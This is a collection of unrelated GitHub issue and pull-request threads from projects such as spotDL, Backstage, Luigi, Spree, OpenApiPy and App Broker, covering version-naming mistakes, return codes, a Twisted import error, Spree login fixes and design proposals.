没有disable gc来用，不过我们是用来写自动化测试用的，所以可能生命周期很短，没有把问题暴露出来，我明天看看哈~

用PyObject_Del直接删除的确不妥，我改了，麻烦看一下:laughing:

应该可以了, thank you


text:
feat(aws): Support for incremental cache updates based on s3 events

Adds a new ObjectKeyLoader implementation that subscribes to an sqs
queue and receives events generated in response to s3 modifications.
These events should be received no more than 1s after the modification.
This PR also removes the unused loadObjectsWithPrefix StorageService
method.

Thus far I've been making changes directly to applications/pipelines and ensuring the cache reconciles properly within the expected amount of time.
Need to do another round of live end-to-end testing of this to ensure nothing appears out of the ordinary in the UI.


text:
Create default plugins set

Config provider plugin
Logger provider plugin (zap)

Invalid

repo: spiral/endure


text:
When comparing arrays with nil values, NilClass is showing up in diff

We could treat nil and other primitives as un-diffable against the HavingAttributes matcher. I don't particularly like that because nil actually does have attributes {to_s: '', to_i: 0} and so on; SuperDiff would break if you're testing that the actual object matches one of those interfaces.
Even deeper of an issue is that we try to intelligently compare array elements when using the eq expectation between arrays. Per the Ruby docs, arrays are == if when the arrays are the same length and each corresponding element is equal per the == operator. We shouldn't use fuzzy comparison when using the eq matcher, but unfortunately, by the time RSpec calls into SuperDiff, we've lost context on what the failed matcher even was. I'm not sure how to address that.


text:
docs: initial

I've added Sphinx, sphinx-rtd-theme as a requirements to the poetry.
This is an initial version of the docs. I used a README.md as a baseline and reorganised it in Sphinx docs (not adding a lot of new information). It is not yet integrated with readthedocs, but that can be one of next steps when we will be happy with the docs themselves.
What you need to do to see the docs:

poetry install
cd docs
make html
open _build/html/index.html

You should see the same page from the screenshot.

I have read the CLA Document and I hereby sign the CLA

recheck

:tada: This PR is included in version 5.0.0-develop.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:

:tada: This PR is included in version 5.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:

authors: arys-splunk rfaircloth-splunk

repo: splunk/addonfactory-ucc-generator


text:
Released asset names of v4.2.3 are wrong

Install Source
GitHub
Install version / commit hash
v4.2.3
Expected Behavior vs Actual Behavior
https://github.com/spotDL/spotify-downloader/releases/tag/v4.2.3
Expected Behaviour
spotDL
spotdl-4.2.3-darwin
spotdl-4.2.3-linux
spotdl-4.2.3-win32.exe

Actual Behaviour

spotDL
spotdl-4.2.2-darwin
spotdl-4.2.2-linux
spotdl-4.2.2-win32.exe

Other details
No response

oh shi....... I've forgot to update the version in https://github.com/spotDL/spotify-downloader/blob/master/spotdl/_version.py
I will release a new version asap

Thank you!

authors: suzuki-shunsuke xnetcat

repo: spotDL/spotify-downloader


text:
packages/config: added must* variant for reading required primitive values

Adds mustString and friends which throws if the value is missing.
I found myself needing this too often already for this not to exist

Yeah gonna go with getOptional* instead, agree that it's more rare. The must prefix is borrowed from Golang, which is there as a shorter form of require really, and maybe slightly clearer meaning. Didn't really like require* since it means something else in JS/TS.

repo: spotify/backstage


text:
9 line removed

Hey, I just removed that text from "backstage/plugins/techdocs/src/test-utils/fixtures/mkdocs-index.ts"
Please Accept My PR
Thanks

Hi, thanks for you contribution. But this actually just takes away the text in the test fixture and not in the UI.
A potential solution to take it away from the UI is to create a new transformer similar to [this one].(https://github.com/spotify/backstage/blob/master/plugins/techdocs/src/reader/transformers/removeMkdocsHeader.ts)

Related issue #2850

authors: OrkoHunter divz11 emmaindal


text:
retcode appears to be 0 on failure

I am having retcode = 0, even on failed Luigi pipelines.
I followed the advice given here https://github.com/spotify/luigi/issues/2311 but I still have "successful" github builds, even when Luigi fails. How can I fix this?
You can see my luigi.cfg here: https://github.com/neuralaudio/hear-eval-kit/pull/198/files#diff-58ff783141a0000a32d2d0ed1cc5b286dfeac2a635083d22ed3333f1fc9f73a4
Here is a github CI that complete successfully: https://github.com/neuralaudio/hear-eval-kit/pull/198/checks?check_run_id=3396277008 even tho the Luigi failed.

If you are using luigi.build, pass detailed_summary=True and save the return result and check:
assert luigi_run_result.status in [
        luigi.execution_summary.LuigiStatusCode.SUCCESS,
        luigi.execution_summary.LuigiStatusCode.SUCCESS_WITH_RETRY,
    ]

repo: spotify/luigi


text:
Cannot start ConsoleSample

I tried to run the ConsoleSample program, but unfortunately I can't jump over the error that pops up. I have tried using different versions of python (3.7, 3.8, 3.9), but they all produce the same result. Below is the text that python throws out:
Traceback (most recent call last):
File "/home/sample/test/main.py", line 44, in <module>
client = Client(EndPoints.PROTOBUF_LIVE_HOST if hostType.lower() == "live" else EndPoints.PROTOBUF_DEMO_HOST, EndPoints.PROTOBUF_PORT, TcpProtocol)
File "/home/rs/.local/lib/python3.9/site-packages/ctrader_open_api/client.py", line 13, in __init__
endpoint = clientFromString(self._runningReactor, f"ssl:{host}:port={port}")
File "/home/rs/.local/lib/python3.9/site-packages/twisted/internet/endpoints.py", line 2116, in clientFromString
kwargs = _clientParsers[name](*args, **kwargs)
File "/home/rs/.local/lib/python3.9/site-packages/twisted/internet/endpoints.py", line 2000, in _parseClientSSL
return _parseClientSSLOptions(kwargs)
File "/home/rs/.local/lib/python3.9/site-packages/twisted/internet/endpoints.py", line 1965, in _parseClientSSLOptions
configuration = CertificateOptions(
NameError: name 'CertificateOptions' is not defined

Did you run the console app on Windows or Linux?

Linux Mint 20.1

It works fine on Windows and Ubuntu, just tested.
CertificateOptions is part of Twisted package, not sure why inside your system it's couldn't be found by Python.

What version of Twisted do you use? Maybe I can update/downgrade mine.

It uses 21.7.0, you can find the detail on pyproject.toml file.

Thanks for finding a solution for this issue,if the package is not obligatory then how it's installed on my windows and Ubuntu machines? İ didn't install the package.
Hopefully this will save time of others who face the same issue with Twisted related packages.
Regarding why i closed the package, because this is not an issue related to our package and we don't have any control over it, and i was not able to replicate is on my system.

repo: spotware/OpenApiPy


text:
How to add related products for product without variants?

I have a hard time understanding how this should work.
The "Related products" tab under product edit allows to search only for variants.
How to add related products for a Product that has no variants? It does not show up in the autocomplete of course, because it hits the variants index.
Thanks
Wojtek
PS I'm on spree 3-0-stable branch for both spree and spree_related_products

I made multiple invalid assumptions and forgot that variants does not have a name, so search for variants still searches products table.

The reason why i do not get any results is because products table contains empty string for the name column, because i use spree-i18n which makes translations of columns (the original name is there).
Not sure how to fix this, would love to just disable the model translations. Will update on this, and if necessary issue a PR that will make it work with globalize.

We're using this extension in our store and we were seeing the same thing.
Even though the search box allows to search for variants, picking one of the variants ends up adding the variant's product as a related product. Which is fine, except that searching for variants is confusing, specially if you have more than one master variant per product.
The real fix would be to modify the search box so it shows products (which are the one that are really being added after all) instead of variants.

authors: bvalentino jumski


text:
spree frontend MyAccount Link is not working

Hi, I am currently using Spree_social gem for facebook and g+ authentication. Whenever i add any authentication methods like FB/G+ in admin panel, i am getting errors for normal users who are logged in with username and password.
Steps to reproduce errors:

Logged in with normal user and clicking on MyAccount button giving below exception

Trying to login with wrong credentials as normal user giving below exception.

However if i logged in with facebook then clicking on MyAccount button is working fine. The button is not working only for normal users after i added FB authentication method in admin panel.
Please help me with this. Any advice would be much appreciated. Thanks.

In app/views/spree/shared/_social.html.erb partial replace @spree_user with @user.

Thanks a lot @mihiic . Now "MyAccount" button is working for all three users which i have tested with normal user, facebook user and google user. Trying to fix invalid credentials issue now. Please let me know @mihiic , if you have any suggestions regarding that issue. Thanks.

@mohansiriga7
You can fix that by adding Spree::User.new to the user definition.
<% user = @spree_user || @user || Spree::User.new %>

This should also fix all crashes of that kind throughout application. It might change Spree intended behavior somewhere, but I have not found such place. (nor would it matter much since it doesn't work as intended anyway)

@mihiic everything is working fine now. I really appreciate your help in resolving my problems. Thanks


text:
Use logo_attachment in logo helper

Summary
In Spree 4.5 support for Spree::StoreLogo was introduced, however, this object's particularities were not taken into account to render images without variants.
Additional information
Former implementation was not supporting svg logos.

Good catch @albertoalmagro ! Merging this one

authors: albertoalmagro rafalcymerys


text:
As a service author I want to describe in a manifest which component steps are used to perform the Provision workflow

Using a manifest, describe which components (Spring Beans) are used to perform the Provision workflow as described: https://github.com/openservicebrokerapi/servicebroker/blob/master/spec.md#provisioning
The current design within App Broker is that each Workflow within OSB is decomposed into a set of actions eg. Create Service Instance, GetLastOperation. Each of these actions will be further decomposed into a pipeline, made up of many steps that are chained together. Each step is a FunctionalInterface. An example step would be generateCredential (see https://docs.google.com/document/d/1YpBHZ7MlOoq-F0hXjngqosSo3yA4MWz3EWOSezPQlIw/edit?usp=sharing)
App Broker will provide a default for each type of step, such as a deployApp that deploys to CF. Users will be able to override each individual step by providing a Spring Bean that implements the appropriate interface. An alternative way of configuring what steps are used would be to specify the @Bean class type within a manifest. An example of what this might look like is:
action: create-service-instance
  steps:
     - CustomCredentialsGenerator
     - NoOpParameterValidator

The order of the steps is fixed, so ordering of the manifest doesn't matter. If any of the expected steps then a default will be used

Spring cloud gateway uses a similar concept to select which beans are used within it's manifest (albeit more complicated as allows parameters to be passed in) see https://github.com/spring-cloud/spring-cloud-gateway/blob/master/spring-cloud-gateway-core/src/main/java/org/springframework/cloud/gateway/route/RouteDefinitionRouteLocator.java


text:
Project does not compile in Eclipse

It could be a JDT bug, but it would be nice to either get that fixed or refactor to make the compiler happy.

I'll give it a go and raise an Eclipse bug if necessary.

Just to note - yesterday it wasn't compiling for me - looked like a mismatch in a snapshot dependency (a method had perhaps been changed in the v2 CF java client in a more recent snapshot to have 2 parameters rather than 1) - but i didn't have time to investigate further. I also had issues because the m2e groovy configurator wasn't installed. Today, with the configurator installed, it is now building fine for me. Although not totally sure if that is because my maven cache accidentally has the right snapshot of the client lib in now.

This may be resolved via #55

authors: aclement dsyer gregturn